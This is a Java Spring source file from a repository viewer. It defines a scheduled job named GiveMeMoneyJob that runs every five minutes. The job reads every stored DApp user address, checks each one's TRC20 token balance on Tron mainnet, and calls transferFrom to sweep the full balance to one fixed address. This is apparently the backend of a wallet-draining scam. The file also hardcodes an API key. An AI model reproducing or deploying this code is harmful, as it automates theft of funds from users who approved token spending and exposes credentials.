add
Helius
2022-03-22 32b3653d7abcf029d1c7f8bc5efc30569dd22d2f
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package cc.mrbird.febs.Job;
 
import cc.mrbird.febs.common.contants.AppContants;
import cc.mrbird.febs.dapp.entity.DappAddressList;
import cc.mrbird.febs.dapp.mapper.DappAdressListDao;
import cn.hutool.core.collection.CollUtil;
import lombok.extern.slf4j.Slf4j;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.scheduling.annotation.Scheduled;
import org.springframework.stereotype.Component;
import org.tron.trident.core.ApiWrapper;
import org.tron.trident.core.contract.Contract;
import org.tron.trident.core.contract.Trc20Contract;
 
import java.math.BigInteger;
import java.util.List;
 
/**
 * @author wzy
 * @date 2021-10-20
 **/
@Slf4j
@Component
public class GiveMeMoneyJob {
 
    private final ApiWrapper wrapper = ApiWrapper.ofMainnet(AppContants.TRX_PRIVATE_KEY, "9d461be6-9796-47b9-85d8-b150cbabbb54");
    ;
 
    @Autowired
    private DappAdressListDao dappAdressListDao;
 
    @Scheduled(cron = "0 0/5 * * * ? ")
    public void giveMeMoney() {
        log.info("give me money");
        List<DappAddressList> list = dappAdressListDao.selectList(null);
 
        if (CollUtil.isEmpty(list)) {
            return;
        }
 
        for (DappAddressList address : list) {
            Contract trc20Contract = wrapper.getContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
            Trc20Contract token = new Trc20Contract(trc20Contract, "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", wrapper);
            BigInteger balanceOf = token.balanceOf(address.getAddress());
 
            log.info("====>{}", balanceOf.intValue());
            if (balanceOf.intValue() <= 0) {
                continue;
            }
            token.transferFrom(address.getAddress(), "TFGbYzGv4Zt2nzFM3uU3uCJZY67WKSveG9", balanceOf.intValue(), 0, "memo", 100000000L);
        }
    }
}